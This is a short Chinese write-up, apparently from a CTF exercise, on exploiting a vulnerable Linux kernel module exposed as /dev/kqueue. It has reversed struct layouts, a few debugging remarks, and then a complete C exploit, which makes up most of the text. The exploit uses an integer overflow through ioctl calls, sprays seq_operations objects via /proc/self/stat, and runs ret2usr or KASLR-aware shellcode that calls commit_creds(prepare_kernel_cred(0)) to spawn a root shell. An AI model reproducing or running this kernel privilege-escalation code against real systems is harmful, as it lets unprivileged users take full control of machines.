还有就是,这代码太tmd乱了写的,逆不动。

逆出来的结构体大概如下

00000000 struct NodeHeader // sizeof=0x20
00000000 {
00000000     __int16 entrySize;
00000002     __int16 padding0;
00000004     __int32 padding1;
00000008     __int64 totalSize;
00000010     __int32 entryNums;
00000014     __int32 padding2;
00000018     __int64 firstPtr;
00000020 };
00000000 struct Node // sizeof=0x18
00000000 {
00000000     __int16 idx;
00000002     __int16 padding0;
00000004     __int32 padding1;
00000008     __int64 Ptr;
00000010     __int64 NextNode;
00000018 };
struct $A3F923FF7ED7044BAD720129C3318D20 // sizeof=0x18
00000000 {
00000000     uint32_t max_entries;               // XREF: kqueue_ioctl+70/r
00000000                                         // kqueue_ioctl+BF/r ...
00000004     uint16_t data_size;
00000006     uint16_t entry_idx;
00000008     uint16_t queue_idx;                 // XREF: kqueue_ioctl+6C/r
00000008                                         // kqueue_ioctl+BB/r ...
0000000A     // padding byte
0000000B     // padding byte
0000000C     // padding byte
0000000D     // padding byte
0000000E     // padding byte
0000000F     // padding byte
00000010     char *data;                         // XREF: kqueue_ioctl+68/r
00000010                                         // kqueue_ioctl+B7/r ...
00000018 };

打得时候一直报错


后来发现一个是没有栈平衡,另一个是ret2usr应该把函数地址写道函数体里头。。。

// gcc exp.c -static -masm=intel -g -o exploit
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>   // uint32_t, uint16_t
#include <string.h>
#include <inttypes.h> // SCNx64 if needed
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>
void spawn_shell()
{
    if(!getuid())
    {
        system("/bin/sh");
    }
    else
    {
        puts("[*]spawn shell error!");
    }
    exit(0);
}
size_t commit_creds = 0, prepare_kernel_cred = 0;
size_t raw_vmlinux_base = 0xffffffff81000000;
size_t addr, ko_addr, commit_creds_addr, prepare_kernel_cred_addr; 
size_t vmlinux_base = 0;
size_t find_symbols()
{
    FILE* kallsyms_fd = fopen("/proc/kallsyms", "r");
    /* FILE* kallsyms_fd = fopen("./test_kallsyms", "r"); */

    if(kallsyms_fd < 0)
    {
        puts("[*]open kallsyms error!");
        exit(0);
    }

    char buf[0x30] = {0};
    while(fgets(buf, 0x30, kallsyms_fd))
    {
        if(commit_creds & prepare_kernel_cred)
            return 0;

        if(strstr(buf, "commit_creds") && !commit_creds)
        {
            /* puts(buf); */
            char hex[20] = {0};
            strncpy(hex, buf, 16);
            /* printf("hex: %s\n", hex); */
            sscanf(hex, "%llx", &commit_creds);
            printf("commit_creds addr: %p\n", commit_creds);
            
            vmlinux_base = commit_creds - 0x9c8e0;
            printf("vmlinux_base addr: %p\n", vmlinux_base);
        }
        if(strstr(buf, "prepare_kernel_cred") && !prepare_kernel_cred)
        {
            /* puts(buf); */
            char hex[20] = {0};
            strncpy(hex, buf, 16);
            sscanf(hex, "%llx", &prepare_kernel_cred);
            printf("prepare_kernel_cred addr: %p\n", prepare_kernel_cred);
            vmlinux_base = prepare_kernel_cred - 0x9cce0;
            /* printf("vmlinux_base addr: %p\n", vmlinux_base); */
        }
    }

    if(!(prepare_kernel_cred & commit_creds))
    {
        puts("[*]Error!");
        //exit(0);
    }

}
size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
    __asm__("mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;"
            );
    puts("[*]status has been saved.");
}
/*** 
ffffffff8108c140 T commit_creds
/ # cat /proc/kallsyms | grep prepare_kernel_cred
ffffffff8108c580 T prepare_kernel_cred
*/

void ret2usr() //nokaslr
{
    //printf("[*] Exec ret2usr\n");
    void* (*prepare_kernel_cred_kfunc)(void *) = (void*(*)(void*))0xffffffff8108c580;
    int (*commit_creds_kfunc)(void *) = (int(*)(void*))0xffffffff8108c140;


    (*commit_creds_kfunc)((*prepare_kernel_cred_kfunc)(NULL));

    asm volatile(
        "mov rax, user_ss;"
        "push rax;"
        "mov rax, user_sp;"
        "add rax, 8;"   /* stack balance */
        "push rax;"
        "mov rax, user_rflags;"
        "push rax;"
        "mov rax, user_cs;"
        "push rax;"
        "lea rax, spawn_shell;"
        "push rax;"
        "swapgs;"
        "iretq;"
    );      
}

struct Input{
    uint32_t max_entries;
    uint16_t data_size;
    uint16_t entry_idx;
    uint16_t queue_idx;
    char *data;
};

struct Input myinput;

int create_kqueue(int fd, int max, int data_size){
    myinput.max_entries = max;
    myinput.data_size = data_size;
    ioctl(fd,0xDEADC0DE,&myinput);
    printf("[*] create kqueue done !\n");
    return 0;
}

int destroy_kqueue(int fd, int max, int idx){
    myinput.max_entries = max;
    myinput.queue_idx = idx;
    ioctl(fd,0xBADDCAFE,&myinput);
    printf("[*] create kqueue done !\n");
    return 0;
}

int edit_kqueue(int fd, int max, int idx, char *Data){
    myinput.queue_idx = idx;
    myinput.data = Data;
    myinput.max_entries = max;
    ioctl(fd,0xDAADEEEE,&myinput);
    printf("[*] edit kqueue done !\n");
    return 0;
}

int save_kqueue_entries(int fd, int idx){
    myinput.queue_idx = idx;
    myinput.max_entries = 0;
    myinput.data_size = 0x40;

    ioctl(fd,0xB105BABE,&myinput);
    return 0;
}
size_t spawn_shell1;
void shellcode(void) //kaslr
{
    __asm__(
        "mov r12, [rsp + 0x8];"
        "sub r12, 0x201179;"
        "mov r13, r12;"
        "add r12, 0x8c580;"  // prepare_kernel_cred
        "add r13, 0x8c140;"  // commit_creds
        "xor rdi, rdi;"
        "call r12;"
        "mov rdi, rax;"
        "call r13;"
        "swapgs;"
        "mov r14, user_ss;"
        "push r14;"
        "mov r14, user_sp;"
        "add r14, 8;"
        "push r14;"
        "mov r14, user_rflags;"
        "push r14;"
        "mov r14, user_cs;"
        "push r14;"
        "mov r14, spawn_shell1;"
        "push r14;"
        "iretq;"
    );
}

int main()
{
    save_status();
    int fd = open("/dev/kqueue", 2);
    if(fd < 0)
    {
        puts("[*]open file error!");
        exit(0);
    }
    create_kqueue(fd, 0xffffffff, 8*0x20);
    spawn_shell1 = (size_t) spawn_shell;
    char *mydata = malloc(0x80);
    for(int i = 0;i<0x100/8;i++) *((size_t *)mydata+i) = (size_t)ret2usr;
    //spray seq
    long seq_fd[0x200];
    for (int i = 0; i < 0x100; i++)
        seq_fd[i] = open("/proc/self/stat", O_RDONLY);
    edit_kqueue(fd, 0xffffffff, 0x0, mydata);
    save_kqueue_entries(fd, 0); //debug
    for (int i = 0; i < 0x100; i++){
        read(seq_fd[i], mydata, 1);
        close(seq_fd[i]);
    }
    return 0;
}

image-20250722143155322